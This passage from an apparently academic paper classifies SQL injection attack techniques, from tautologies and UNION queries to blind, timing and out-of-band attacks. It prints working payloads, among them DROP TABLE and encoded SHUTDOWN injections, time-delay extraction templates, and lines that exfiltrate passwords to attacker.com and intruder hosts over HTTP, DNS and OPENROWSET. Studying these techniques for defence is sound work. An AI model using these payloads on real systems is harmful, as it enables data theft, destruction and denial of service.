    • 2. SQL Injection2.2.2. SQL Injection attacking techniquesBefore starting with a couple of examples, lets clarify the presentation scenario. We shall discusspredominately SQLIA on the technical aspect, if there are interesting points to the input source sec-tion of the SQLIA classification, or the intent section, we shall give an extra hint at it. In this wayof thoughts we shall use the attacks presentation manner as in [34] already proposed: • Name of SQLIA • attacks intent • attacks description • attacks examples • attacks reference Classic SQLIA( Inband Attacks) Piggy-backed QueriesSuch attacks, concern attackers motivation as: users data extraction, adding and modifying usersdata, DoS attacks, executing remote commands.The name of these SQLIA, adopted from the security term- Piggybacking24, contains the essentialconcept for this attacks scenario:The SQL Injection uses the security flaw, that the SQL server( DBMS) allows strung together quer-ies25, see example [35]:SELECT info FROM user Table WHERE login=’’; DROP TABLE userTable --’ AND pass=’’ AND pin=The reader will notice in recent literature another description name concerning this SQL Injectionattacks: Stacked Queries, or sometimes Batched Queries. This SQLIA is DBMS specific, whichmeans that the execution and exploitation of such attacks is DBMS dependent. For further examplesand extending this topic, please, refer to DB Mapping SQLIA.24 http://en.wikipedia.org/wiki/Piggybacking_%28security%2925 http://en.wikipedia.org/wiki/Sql 19
    • 2. SQL Injection TautologiesMain motivations, considering the deployment of such attacks are: bypassing authentication, dataextraction and identifying injectable parameters in Web Applications.The unique method presented by these SQLIA is to push the DBMS to process queries, although thelogin data is invalid, this could be achieved by modifying the query in the following manner, in-stead of proper user name the attacker types the following injection code,for example in the input field concerning the password on a Web Site Login form: ’OR 1=1 - -This is equal to the SQL statement, concerning the user admin for example: SELECT info FROM users WHERE login=’admin’ AND pass=’’ OR 1=1 --’AND id=At this point we shall give important clarifications. The writer of this paper is aware of the fact thatmost of the people, working on the field of Web security are aware of these details, though the au-thor wishes to point out these particulars, which are general knowledge and help the better under-standing of the injection code.Lets observe the tautology: ’OR 1=1 - - The role of the apostrophe( quotation mark) is significant here( also see the further examples inthis paper), it closes intentionally the place-holder for the value of the pass variable, see the secondexample, which cheats the SQL server to accept an empty value for the regular password of the useradmin, though the SQL server is processing further the logical expression: OR 1=1, which is validby default. Thus the DBMS grants the requested access. It is also important here to mention the role of the logical operators AND and OR. If the intruder uses an AND in place of OR, this means the first term of the expression must betrue and the second term of the expression must be true, so the query can be processed, this can beused in special cases to justify that the first term is valid for sure. If the intruder uses an OR operat-or, it is not important, whether the first term is true or false, which is actually like guessing, de factothe emphasis of the SQL query is laying on the second term of the expression behind the OR oper-ator, see more at [26]. 20
    • 2. SQL Injection At last, lets discuss the role of the - -, the two hyphens. In this example its actually related tothe commenting art in DBMS, for example:DBMS commentsMySQL[L19] /* , # , -- -MSSQL[L20] # , --Oracle[L21] --PostgreSQL[L22] --Table 5: DBMS comments This means, that the intruder forces the SQL Server to ignore every expression after the two hy-phens, see next example:SELECT info FROM users WHERE login=’’ OR 1=1 --’ AND pass=’’ AND id= Which means that no matter what password and table id element value are given in this examplethe attack will be processing, because of the : OR 1=1--, expression. Please refer for further information at ( page 550, [28]),( page 14, [29]). How such expressions can be prevented, we shall discuss in the next section. Now lets illustrate SQLIA attacks, concerning evading detection as attackers intent. Alternate Encodings The utilization of this subclass SQLIA can be illustrated on the next example, which the intrudercan type in the input field referring the user name again in a Web Site Login page for an instance, [27]: legalUser’; exec(char(0x73687574646f776e) - - And according to, this the SQL query produces the command line, see [27]:SELECT info FROM userTable WHERE login=’legalUser’; exec(char(0x73687574646f776e) --’ AND pass=’’ AND pin= The alternate encoding SQLIA is represented by the usage of the string: 0x73687574646f776e,which should be interpreted by the SQL server after applying the SQL functions char() and exec()as SHUTDOWN. This leads consequently to the shutting down of the SQL Server and utilizes a 21
    • 2. SQL InjectionDoS attack on the DBMS. The reader concerned will notice here once again the usage of StackedQueries, which must be read as: after successfully completing the first operation, proceed on thesecond one, thats why, demonstrated in this example, it is required that the intruder must be awareof a legal user name on the DBMS to accomplish the injection. Illegal/ Logically Incorrect Queries This Classic SQLIA utilizes the identifying of injectable parameters on the DBMS, supports DBFingerprinting SQLIA and consequently data extraction from the compromised SQL Server. Lets introduce an example, see further [27]:SELECT accounts FROM users WHERE login= AND pass= AND pin=convert (int, (select top 1 name from sysobjects where xtype=u)) This query construct demonstrates a conditional SELECT statement, whereby the suffix of theWHERE statement is organized as follows: the login variable should be empty AND the passwordvalue should be empty AND the pin value is represented as another query, which is at first glanceconfusing. Lets explain the SQL Basics. Everything concerning SQL can be represented as a queryand everything in a particular query can be transformed in another query, as ( page 55, [26]). Further, the value of the pin variable shall be interpreted as follows. The injection compromises aMSSQL DBMS, exploiting the system table sysobjects. The SQL Server is forced to extract thefirst user table, see the conditional criterion, xtype=u. As next the injection query tries to convertthe result into an integer, but as the result should be a table name, this operation is illegal for theDBMS, thats why the SQL Server throws out an error exception as follows,[27]:“Microsoft OLE DB Provider for SQL Server (0x80040E07) Error converting nvarchar valueCreditCards to a column of data type int.” Lets observe this error message in detail. It states that the SQL server is a MSSQL DBMS andfurther more that, the first user table is CreditCards revealed by the usage of the second SELECTstatement. This illustrates the meaning of the Illegal/ Logically Incorrect Queries SQLIA: on onehand to probe the DBMS, whether it is SQLIA prone, on another to support the further execution ofSQL Injection attacking scenario. Such approaches will be better illustrated in detail in the part ofthis section concerning the DB Mapping SQLIA. Note that, another approach to force the SQLServer to throw out error exceptions and support further deployment of the DBMS compromising is 22
    • 2. SQL Injectiondescribed in the part regarding the Inference SQLIA, where the reader will find more informationon the topic: Totally/ Completely Blind SQL Injection attacks. Lets introduce another Classic SQLIA representing a way to extract sensitive data and also tobypass Server authentication. UNION QUERY The construct of this attack is organized as follows: prefix as <first SELECT statement>UNIONstatement<second SELECT statement> as suffix. The concatenation element in this construct, UNI-ON statement, is originally defined in SQL to combine two separate SELECT statements. Thoughthis opportunity is exploited by attackers to induce the DBMS to return data from a different table,instead of those one, which is specified by the developer concerning the specific input field in aWeb Application for an instance. Further more, the attacker controls completely the second statement, represented as a UNIONsuffix. As a result the DBMS produces an HTML output dataset, which relies to the prefix and thesuffix of the UNION construct. Lets illustrate this on an example, please refer to [27]:SELECT accounts FROM users WHERE login= UNIONSELECT cardNo from CreditCards WHERE accNo=10032 – AND pass= AND pin= The reader concerned will recognize the revealed user table CreditCards from the previous ex-ample. This illustrates again the supportive usage of Illegal/Logically Incorrect Queries SQLIA asdescribed above. The UNION prefix demonstrates a conditional SELECT statement, which willoutput an empty result, because of the absence of empty user on the DBMS. This is useful for theintruder, because thus the HTML output will represent only the result of the second SELECT state-ment, which compromise and extract user information from the table CreditCards related to ac-count number “10032”, as supposed in this example. For more detailed information, please refer to ( page 550, [28]) and ( page 53, [26]). The next Classic SQLIA concerns another approach to induce DoS attacks on DBMSes, furthermore executing remote commands on the compromised SQL server and to perform privilege escala-tion. 23
    • 2. SQL Injection Stored Procedures Lets clarify the meaning of the term Stored procedures. As the name reveals, the meaning ofsuch procedures, which come out-of-the-box with the DBMS, assembled as a backend to the WebApplication, is to extend the SQL Server functionality, in terms of better interacting with the WebServer for an instance, it is related to. This is a standard set of functions ready for use and stored inthe specific DBMS. This is not an accurate declaration, because a procedure can return one result,more than one, or may not return any result, as distinct from that a function is obliged to return aresult. This could be used by the attacker to achieve DoS attacks on the compromised SQL Server andexecute remote commands as well. Note, that some sources motivate developers to use Stored Procedures stating they are not proneto SQLIA. Lets illustrate the opposite on an example, see original sample code at [28]:CREATE PROCEDURE searchuser @criterion varchar(400) = NULLASDECLARE @query nvarchar(4000)SET @query = SELECT id, name, password FROM users WHERE name LIKE + @criterion + EXEC (@query) This example illustrates an MSSQL DBMS realted Stored Procedure. Lets demonstrate the compromising of such a construct, modified from the sample at [28]:SELECT id, firstname, familyname, birthdate FROM searchuserWHERE familyname LIKE 1 OR 1 = 1 -- The reader can easily recognize the Tautology SQLIA technique implemented in the Stored Pro-cedure attack. Furthermore this injection could be altered to meet an command execution intent aswell, from [28]:SELECT id, firstname, familyname, birthdate FROM searchuserWHERE familyname LIKE 1 OR 1 = 1; DROP TABLE searchuser-- This example demonstrates the usage of a Tautology SQLIA, combined witch a Stacked Queryin the construct of Stored Procedures SQLIA. Note that the Stacked Query is working because ofthe MSSQL DBMS. The interested reader can learn more about Running OS Commands using SQLIA at ( page 115, 24
    • 2. SQL Injection[26]); File System Access at ( page 103, [26]) and in general on Stored Procedures SQL InjectionAttacks at ( page 544, [28]) and [27]. The following SQLIA subclass is another approach to extract sensitive data from DBMS andidentify injectable parameters, furthermore it will illustrate scenarios, concerning attackers intent,which isnt discussed heretofore- determining the art of drilling sensitive data out of the comprom-ised DBMS. It is important here to mention, that there is also another criterion the SQLIA should be classi-fied into ,regarding the Data-Mining26 aspect of SQL Injection attacks, see [36][37]: • inband SQLIA, • out-of-band SQLIA and • inference SQLIA Most of the attacks in the classification given above, see Table 4, are inband attacks, whichmeans that the intruder and victim are using the same channel. On the contrary, there are SQL injec-tion attacks, which are classified as out-of-band Channeling SQLIA.Out-Of-Band Channeling( OOB Channeling SQLIA)This is the second sub2class of SQL Injection attacks beside the formerly introduced Classic InbandSQLIA and the Inference SQL Injection attacks, which shall be discussed straight after the OOB at-tack. In addition to this, the Out-Of-Band SQLIA describes another method, in some cases more ef-fective, for drilling data between the intruder and the victim, see [36][37].Lets illustrate this on some examples, refer to [28]:UTL_HTTP.REQUEST(http://www.attacker.com/log.php?data= ||(SELECT name || : || password FROM users WHERE rownum < 2))We introduce here the Oracle package UTL_HTTP and in this example the function REQUEST,which allows us to send HTTP request using an SQL statement and further more send the SQLquery data directly to a specific URL. As a result the intruder can generate the following HTTP-GET-Request, see [28]:http://www.attacker.com/log.php?data=Rainers:pass123It is obvious how easy such data can be further manipulated.26 http://en.wikipedia.org/wiki/Data-mining 25
    • 2. SQL InjectionMoreover this method can be used for starting further injection attacks using the compromisedDBMS server as a proxy for SQLIA.Another example for Out-Of-Band SQLIA is the use of the OPENROWSET function. Such attackis still working, as [28], in older MSSQL DBMS versions:INSERT INTO OPENROWSET(SQLOLEDB, uid=Reiners; pwd=pass123; Network=DBMSSOCN; Address=database.intruder.de,80, SELECT * FROM users)SELECT * FROM usersAs we can see, the intruder is using the first INSERT statement to storage the data on his own serv-er; the second SELECT statement after the INSERT statement defines, where to copy the data from.The last interesting example for Out-Of-Band Channeling SQLIA, described in this paper, is pro-posed by Patrik Karlsson on DefCon27 15, 2007[L40][40].1 UNION SELECT UTL_INADDR.get_host_address((SELECT lower(password) FROM users WHERE rownum < 2) ||.attacker.com),null FROM dualThe goal of this injection is to drill data over DNS 28. The compromised data from the DBMS iswrapped up in a form of a Subdomain, which sends a DNS Request to the attackers Domain fur-ther:pass123.attacker.comAfter all, such Domain name construct can be easily evaluated for extracting the valuable stolen in-formation. To avoid out-of-range issues, concerning the length of a such construct, the intruder cansimulate more than one event for building more than one Subdomain and thus very skilful send theimportant information in pieces to his own Domain.The more concerning the issue regarding such attacks is, DNS-Requests are difficult to be filteredand blocked by Firewalls/ Web Application Firewalls 29( WAFs) as default. The WAFs will be men-tioned further in the next section, SQL Injection prevention trends and methods.The OOB Channeling attack is well suitable to obtain reasonable amount of information from the27 http://en.wikipedia.org/wiki/DEF_CON , http://www.defcon.org/28 http://en.wikipedia.org/wiki/Domain_Name_System29 http://de.wikipedia.org/wiki/Web_Application_Firewall 26
    • 2. SQL Injectionprone DBMS with less request( or better per request), which is very useful, concerning a successfulattacking scenario, see [L40] and [40], though such kind of attacking technique could not be con-sidered as efficient after all[L46].Another approach for obtaining information on behalf of optimisation in the amount of DB requestsshall be discussed later on in the paper, concerning the Deep Blind SQL Injection attacks.Both of the attacks: OOB Channeling SQLIA and Deep Blind SQLIA, represent methods fordrilling data with less requests, though they are quite different in their execution scenario. For ob-taining more information on Deep Blind SQLIA, please consider further reading of the paper.Additional information regarding Out-Of-Band Channeling SQLIA could be found also at ( page542, [28]). Now lets illustrate the Inference SQLIA subclass hierarchy on some examples. Inference SQLIA As a requirement for the deployment of such attacking method is the fact that describes an at-tacking environment well hardened and restricted for error reporting. Thus the attacker is forced,due to the lack of immediate feedback, to guess the different parameters of the DBMS, which hetries to exploit. There are a couple of strategies, which the intruder can apply in the matter of suc-cessful deploying of this subclass of SQLIA. We shall mention only some of them and give references on further examples.Halfond and colleagues categorize this SQLIA subclass in the following sub2classes: Blind SQL In-jection attacks and Timing-Attacks. We shall reclassify this categorization as follows. We shalldefine the sub2class of Classic Inference SQLIA attacks, where further we shall group the two sub-3classes: Conditional Responses and Conditional Errors. As another sub2class of the InferenceSQLIA, we shall introduce the Blind SQLIA or Timing Attacks. As sub3classes we specify theBenchmark SQLIA or Time-Delay SQLIA( Double Blind SQLIA[38][39], the name is originallyintroduced by Mr. Dmitri Evteev30) and Deep Blind SQLIA, as newest aspect of the SQLIA vectorintroduced in 2009[40].As an Attack Intent of the Inference SQLIA we shall mention: Identifying injectable parameters,Extracting data, Determining database schema; see [27].30 Dmitry Evteev (Positive Technologies)Web Application Security Consortium (WASC) Contributor [L24] 27
    • 2. SQL Injection Classic Inference SQLIA Conditional responsesWe shall observe the following two queries, see[27]:SELECT accounts FROM users WHERE login=’legalUser’and 1=0 -- ’ AND pass=’’ AND pin=0 The SELECT statement is specified by the condition WHERE, so the query will return, if prop-erly implemented, all accounts entries from the table users with the conditional parameters: name ofthe user, respective his password and pin with value 0. Observing the injection conditional parameter and 1=0 -- , we consider that it shall return anerror message, because it is false as default. Further more the additional parameters are commentedand the query is forced to close by the injection intentional apostrophe( see above marked in grey). We observe the following scenarios: if the DBMS is working properly, it will return an error re-sponse, because of the condition 1=0, which is false by default; in the opposite case, DBMS is notworking properly- it is SQLIA prone; the DBMS, exposed to such Blind SQLIA, will return also anerror message. The intruder cannot anticipate, at this stage of the attack, whether the DBMS isprone to the attack or not. Thats why the attacker performs the second query with the condition and 1=1 - - , which is true by default. Though, if the application works properly, it will re-spond with another error message , because the conditions login=’legalUser’ and 1=1 -- ’ are notadequate, if the DBMS is SQLIA prone it shall return instead of an expected error message thequery result. For more information on this attack, please refer to ( page 537, [28]). Conditional ErrorsAnother Description name of this SQLIA sub3class is Totally Blind SQL Injections, see [28]. Theintruder experiences difficulties for injecting code in to the victim DBMS, because of the lack ofquery result, so the intruder will work in a word totally blind.Useful technique that come in help is the CASE WHEN- condition, see [28]: 28
    • 2. SQL InjectionSELECT ( CASE WHEN 1=1 THEN 1 ELSE 0 END)SELECT ( CASE WHEN 1=2 THEN 1 ELSE 0 END)The second SELECT statement represents the case as the result is obvious Null; some databaseslike Oracle, PostgreSQL and previous versions of MSSQL will return an error message, if there is adivision by zero, as we use the result of the second SELECT statement further in a such mathemat-ical operation.Lets extend this case study [28]:1 UNION SELECT (CASE WHEN (substr(user, 1, 1)=r THEN CAST( 1/0 AS char) ELSE falseEND), null -- The Motivation in this injection is to guess the first letter in the users name. If the guess is luckythen the DBMS is forced to do a division by zero, which shall throw out the error message and itwill be a proof for a working injection, in the other case the false- message will appear. The use of the UNION for executing the second SELECT statement is important here, more onthe UNION statement in the UNION SQLIA part in this section. If the DBMS is a MSSQL Server 2005 or a MySQL 5 and above, the division by zero will be aworthless try, thats why the intruder must refine the injection as follows [28]:1 UNION SELECT (CASE WHEN (substr(user, 1, 1)=r THEN CAST( 1/0 AS char) ELSE falseEND), null –/* in to */1 UNION SELECT (CASE WHEN (substr(user, 1, 1)=r THEN (SELECT table_name FROMinformation_schema.tables) ELSE false END), null –The CAST statement is replaced by (SELECT table_name FROMinformation_schema.tables), which will force the DBMS to throw an error message, because it can-not be SELECT- ed after THEN statement. Please, refer further to ( page 538, [28]).Blind SQLIA or Timing attacks( Timing SQLIA)Double Blind SQL Injection or Time-Delay SQLIA/ Benchmark SQLIA Another interesting sub2class of Inference SQL Injection attacks represent the Blind SQLIA orTiming SQLIA. As already mentioned, the name of this sub2class, concerning the attacks classific- 29
    • 2. SQL Injectionation proposed in this section, is adopted from Dmitri Evteevs SQLIA categorization[38][39]. Among the Classic Inference SQL Injection attacking techniques we have already introduced theTotally Blind SQLIA and the Conditional Responses, though there are cases, which do not respondto these Inference SQLIA techniques at all. In such cases, we shall call the working scenarios completely blind [41], because of the lack ofany kind of error messages on the servers part and the fact that the attacker cannot indicate anyvisual responses about such error messages from DBMS, thus the intruder needs another method tocompromise information on the victims SQL System. The attacker uses separate functions concern-ing the DBMS, which execution could be time consuming. Lets introduce first the Benchmark SQL Injection attacks or Time-Delay SQLIA sub3class. Ifthe DBMS is responding to such attacks, it will respond to the intruders query with a time delay, inother case the System will proceed working properly. Observing such intentional time delays on the DBMS the attacker can decide whether the attack-ing technique is applicable or not and how to proceed with the attack execution scenario. Such separate RDMBS functions are waitfor delay and benchmark; pg_sleep referable to Post-greSQL, but the DBMS_LOCK.SLEEP, which intent is originally concerning time-delays ofDBMS, that cannot be applied in Time-Delay SQLIA. Lets illustrate all this on some examples.1 UNION SELECT (CASE WHEN (substr(version (), 1, 1) = 4) THEN benchmark(500000,md5(test)) ELSE false END) , null In this example, see [28], the intruder use UNION SQLIA technique to apply the second 31 SE-LECT statement. The statement is build on CASE WHEN construct- if the injection string (substr(version (), 1, 1) = 4) can apply to the DBMS then execute thebenchmark( 500000,md5(test)), which will cause the system to hash 5.10 5 -times the string testand thus induce a time-delay. Lets give another example illustrating the use of Stacked queries and waitfor delay particularfunction, refer to [28]:1; IF (substring(current_user,1,1=r) waitfor delay 0:0:5 In this example is used IF ELSE construct, which is used for constructing the condition on guess-31 In this and other examples the reader will notice a construct like 1 UNION SELECT, 1 is meant for the first regular SELECT statement as a UNION prefix and the second SELECT statement carries the injection code, which is actually the second SELECT statement as a UNION suffix in the given SQL query 30
    • 2. SQL Injectioning the first letter of the users name, if the hit is true then the injection will force the DBMS to waitfor a time interval of 5 seconds. The intruder can carry on in this manner and guess the whole usersname and so on. The last example concerning the Inference Timing attacks will illustrate the use of the particularPostgreSQL function pg_sleep, see [28]:1 UNION SELECT (CASE WHEN (substr(user,1,1) = R) THEN CAST( pg_sleep(5) as CHAR)ELSE false END) , null -- or the same injection can be produced in independent SQL-syntax, using Stacked queries, see [28]:1 ; SELECT (CASE WHEN (substr(user,1,1) = R)THEN pg_sleep(5)ELSE false END) -- For the reader concerned, please refer further to ( page 540, [28])[27]( page 102, [26]). The attentive reader can state that such Inference attacking techniques of Completely BlindSQLIA can produce many requests by the server, which can be easily detected by the concernedsystem administrator, or IDS and is also time consuming as an algorithm, which cannot consider arapid feedback to the intruder, [L46]. Further, knowing that, the OOB Channeling SQLIA canachieve very efficient data drilling, brings more confusion on the topic, whether such CompletelyBlind Techniques are reasonable, concerning the Performance aspect of the attacks deployment atall. This lead us in our discussion on the Inference SQLIA to the observation of the second repres-entative of the Timing SQLIA and the last sub3class of Inference SQL Injection attacks in the pro-posed classification in this section. Deep Blind SQL Injection Attacks The attacking technique is proposed by Ferruh Mavituna 32 in 2008 [L26]. This sub3class ofSQLIA updates the SQL Injection classification given by Halfond et al., 2006, in the following as-pect- the attack demonstrates an optimized method for automated inducing time-delays on the vic-tims server, using multiple statements injection, which extends the already known Inference SQLIAtechniques. Lets take a closer look at this attack.32 OWASP, SecurityFocus conributor, http://labs.portcullis.co.uk/tag/mainpage/ 31
    • 2. SQL Injection In the discussion on the Time-delays SQLIA we introduce the particular functions for extractingsensitive data from the victims DBMS and the conditional constructs concerning their usage 33, letssummarize the attacking scenario, see [41]: • the data is read bit by bit, see examples above • the main algorithm, applied, is binary search with character patterns Regarding the Client-Server model, the limitation is: one request- one response, see [41], and the average effort for extracting each character is approx. six requests to the victims server.Ferruh Mavituna finds a way to reduce this effort with a 66%, concerning the number of the re-quests to the server, by minimizing their average amount from 6 to 2 requests. The author of theDeep Blind SQLIA states that the algorithm is proven on MSSQL DBMS and could also work onother relational Database Management Systems, as [L25][42], there are templates for all mainDBMSes: Oracle, MySQL, MSSQL, PostgreSQL and also for the non-relational DBMS MS AC-CESS, concerning the related tool, which implements Deep Blind SQLIA: BSQL Hacker, [L25]. The main feature in this attacking technique is to retrieve more than one response per request.We can describe this as a multiple statements SQLIA, which represents a new tendency in the SQLInjection attacking manner. Most of the tools concerning SQL Injection attacks cannot implementstill this technique, see further in section 2.4. Lets describe the scenario of this new attacking method more detailed. The intruder tries to guess a character byte-wise. Lets say the first half byte of this character is 6,using the Deep Blind SQLIA the server is forced in this case to wait for 12 seconds. Regarding theguessing of the second half byte, if it is a 1, the server will wait for 2 seconds. By a reasonable log -ging of this attacking results and dividing the response times by two concerning this particular ex-ample, the attacker can gain the actual values of the character half bytes and thus construct the firstletter of the string, 0x61- this is corresponding to an a-character. This character extraction isachieved in 2 server responses. Now lets unveil the limitations of this attacking technique: • the algorithm is clearly not suitable for manual attacks • the attacking method is unstable in slow connection environments or environments with un- predictable server response times • for stability of the results, should be required timeouts approx. 60 seconds, which is longer than the timeouts for a normal client-server environment3433 In the mean of the usage of the demonstrated particular DBMS functions34 By default most of the database connection layers and execution of server-side scripts have timeout limits of 30 32
    • 2. SQL Injection Lets illustrate this by the following construct, see [41]:DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} asvarbinary(8000))),{POSITION},1));IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;SET @w=0:0:+CAST(@x*{SECONDS} as char);WAITFOR DELAY @w Where: • {QUERY} concerns the extraction data, it could be a variable value like legalUSER , function like DB_ID(NAdventureWorks)35, or a SELECT statement, which re- trieves as a result the content of one row and one column; • {POSITION} implements the half byte, which should be retrieved • {SECONDS} represents the wait time multiplier Note that to eliminate the 0x- prefix from the SQL server responses, the intruder should add 2 tothe {POSITION} value. Regarding the waiting time format in {SECONDS}, it can be converted inmilliseconds using the particular DBMS function waitfor delay. Now lets illustrate this construct on an example:DECLARE @x as int;DECLARE @w as char(6);SET @x=ASCII(SUBSTRING(master.dbo.fn_varbintohexstr(CAST({QUERY} asvarbinary(8000))),{POSITION},1));SET @w=0:0:+CAST(((@x+((@x&79)/8)+(@x/64)&15)*2) as char);WAITFOR DELAY @w Please, refer for more information to [41][L25]. Knowing the fact that, the most attacking techniques described heretofore in this paper are ap-plicable for the different Database Management Systems despite the fact that, the DBMSes vary inthe syntax and capabilities aspects, we like to introduce SQL Injection attacks concerning cases, inwhich the attacker even does not have information regarding the environment he attends to attack,this means the intruder does not know, or does not know for sure the type of the DBMS as a productline36 and its version, nor the DBMS implemented structure- amount of columns, column-identifier-s37etc. seconds, see [41]35 http://msdn.microsoft.com/de-de/library/ms186274.aspx36 http://en.wikipedia.org/wiki/List_of_relational_database_management_systems37 http://en.wikipedia.org/wiki/Column-oriented_DBMS 33
    • 2. SQL InjectionIn such cases he needs specific preparation to be implemented for the successful deployment of thecommemorated attacking scenario, or even for the successful deployment of a totally new attackingapproach, evoked by the results of this preparation. Lets introduce, consequently to this, the next worthwhile SQLIA subclass. We shall adopt the name of these specific SQL injection attacks, concerning the proposed SQLIAspecification in this paper, from [28]. DBMS specific SQLIA Lets introduce at first a representative of this SQL Injection subclass responsible for comprom-ising the product line and version of a specific DBMS. DB Fingerprinting SQL Injection attacks There are two approaches in general to achieve the task of compromising the line and version ofDBMS: forcing the DBMS to produce error messages and using particular DBMS functions as fol-lows, see ( page 547, [28]):DBMS Syntax Result, as an exampleMySQL SELECT version() 4.1.20-nt-log( Windows) SELECT @@version 4.1.20-log(Linux)MSSQL SELECT @@version Microsoft SQL Server 2005- 9.00.3042.00...Oracle SELECT banner FROM v$version Oracle Database 10g Express Edition...PostgreSQL SELECT version() PostgreSQL 8.3.3, compiled by...Table 6: Compromising the DB version , see further [28] As compared with the previously described Inference SQLIA techniques, this attacking methodpresents optimized approach in the timing aspect concerning character extracting working com-pletely blind. The different DBMSes require different syntax in the aspect of strings concatenation, see further [28]: 34
    • 2. SQL InjectionDBMS Syntax, as an example ResultMySQL SELECT a b abMSSQL SELECT a + b abOracle SELECT a || null FROM dual aPostgreSQL SELECT a || null nullTable 7: DB Fingerprintig,[28] Please, note the difference in the results represented in this Table 7 between the Oracle and Post-greSQL syntax. The importance of knowing the techniques for string concatenation explains the approach tocombine two or more operands in a UNION suffix, which concedes a way to address more DB-columns than the listed in the SELECT statement in the prefix of the UNION injection construct. Another approach extending the usage of string concatenation is the utilization of the particularOracle and MySQL function concat(), see original example at [28]:SELECT name FROM users WHERE id = 1 and 1 = 0 UNIONSELECT concat( name, : , password) FROM users The reader concerned can find more information on this topic at ( page 548, [28]). The next logical step in the progress of the attacks deployment concerns the methods for reveal-ing the structure of the DBMS. DB Mapping Perhaps one of the most interesting approaches concerning the difficult task of revealing theDBMS structure, represents the DB Mapping SQLIA sub2class. It is important to introduce this attacking technique for the matter of a reasonable investigationconcerning the structure of such attacking scenario and the plasticity in the aspiration to adapt suchattacking approach, concerning the specific DBMS, in an optimal manner. The clever intruder in-dents not only to attack successfully the DBMS and to compromise sensitive data on the victimssystem, but to minimize the attacking requests and to avoid randomization of the attacking effort, tooptimize the execution of the attacking scenario in the time aspect and to inhibit the successful tra-cing of the applied intrusion approach as much as possible as well. 35
    • 2. SQL Injection Note that the intruder can apply one or more SQLIA attacking techniques, already represented inthe paper, to implement the structure of the DB Mapping. Lets represent the essential steps in the deployment of the current SQLIA attacking method. The first step is to analyse the query, which will help the intruder to frame the construct of an op-timized injection, see [28]:http://www.news.info/news.php?id=37 Possible error responses could be produced by the different DBMS product lines, see the next ex-ample Table 8, [28]:DBMS Error messages38MySQL Query failed: You have an error on your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 20MSSQL Unclosed quotation mark after the character string .Oracle ORA-01756: quoted string nt properly implementedPostgreSQL ERROR: unterminated quoted string at or near “ “ at character 37Table 8: DBMS produces error messages caused byunclosed quotation mark( apostrophe),[28] Note that the intruder uses Conditional Responses SQLIA at this point. This assures, that theDBMS is SQLIA prone. As next the attacker tries to determine the amount of the columns related tothe table, which is intended to be compromised. This can be achieved using the next Classic SQLIAtechnique based on UNION attacks, refer to [28]:http://www.news.info/news.php?id=37 UNION SELECT null/* The DBMS will produce an error message, which indicates that there are more than one columnsin the table. The intruder can proceed applying null elements in the UNION suffix SELECT state-ment and thus guess the exact number of the table columns. Note that the attacker can optimize thisnull-elements concatenation to reduce the guessing effort. To achieve this the intruder can apply bounds shrinking methods using the ORDER BY SQLstatement as follows, [28]:/* determining the lower bound*/http://www.news.info/news.php?id=37 ORDER BY 3--38 line and character numbers are example-related here 36
    • 2. SQL Injection/* determining the upper bound*/http://www.news.info/news.php?id=37 ORDER BY 6-- If the server do not produce an error message again, the exact number of the table columns isidentified. Lets assume the table has 4 columns for example. As next the attacker tries to reveal the column-identifiers, proceeding with a further UNIONSQLIA, [28]:http://www.news.info/news.php?id=37 UNION SELECT test,null,null,null -- Note that null can replace the value of a column element no matter the defined variable type ofthe column-identifier is, though test is from a string type and most probably this should force theserver to produce an error message, because of a variable type conflict, knowing that every table hasan id column-identifier from an integer type. An exception to this rule is the MySQL DBMS,which does not control the strict concatenation of column-identifier types. Repeating the UNIONinjection technique, [28]:http://www.news.info/news.php?id=37 UNION SELECT 1, test,null,null -- The intruder proceed until all column- identifier types are revealed, keeping in mind the fact thatthe sever will not produce an error message at a successful guess. Assuming the attacker has determined exactly the column-identifier types, the following injec-tion query should produce a proper HTML-output, see original example at [28]:http://www.news.info/news.php?id=37 AND 1=0 UNIONSELECT 1,you,are,compromised -- Note that AND 1=0 will suppress any output from a SELECT statement as a UNION prefix.Further more, the columns addressed by you,are and compromised represent those, which datawill be extracted from. The next step describes the part, where the intruder proceeds DB specific. MySQL Mapping As next the intruder tries to determine the DBMS version, applying the partcular MySQL func-tion version() or using @@version, [28]: 37
    • 2. SQL Injection37 AND 1=0 UNION SELECT null, @@version, null, null -- Further more , the attacker tries to reveal more information regarding the DBMS configurationusing the particular function information_schema() concerning MySQL version 5.1.12 and above, [28]:37 AND 1=0 UNION SELECT null, table_name, null, null FROMinformation_schema.tables WHERE version = 9 /* Note that version = 9 does not respond to the DBMS version, this helps the intruder to determ-ine, whether he is attacking a system table or a user table. To reveal the column-identifier the attacker can utilize the particular functioninformation_schema.columns, [28]:37 AND 1=0 UNION SELECT null, column_name, null, null FROMinformation_schema.columns WHERE table_name = users/* Thus the intruder identifies every column-identifier belonging to the attacked table. Achievingthis the attacker can proceed with the data extraction from the compromised table, as illustrated in [28]:37 AND 1=0 UNION SELECT null, name, password, null FROM users /* MySQL DBMS does not respond to stacked queries implemented in scripts. Regarding the MSSQL version 7.0 and above Mapping we shall mention that the intruder canfollow an analogue scenario like the MySQL Mapping. Oracle Mapping It is important here to note, that the intruder can only apply successfully a UNION technique, ifthe second SELECT statement addresses a table name explicit in the injection query. If the exacttable-identifier is still unknown, a dummy table name could e used as well, [28]:37 AND 1=0 UNION SELECT null, null, null, null FROM dual -- To retrieve the real table name the attacker must compromise the Oracle system table all_tables.Working in an optimized manner the intruder should apply an adequate filter for refining the search.For an instance, if the attacker intends to compromise the table collecting the user data, he could try 38
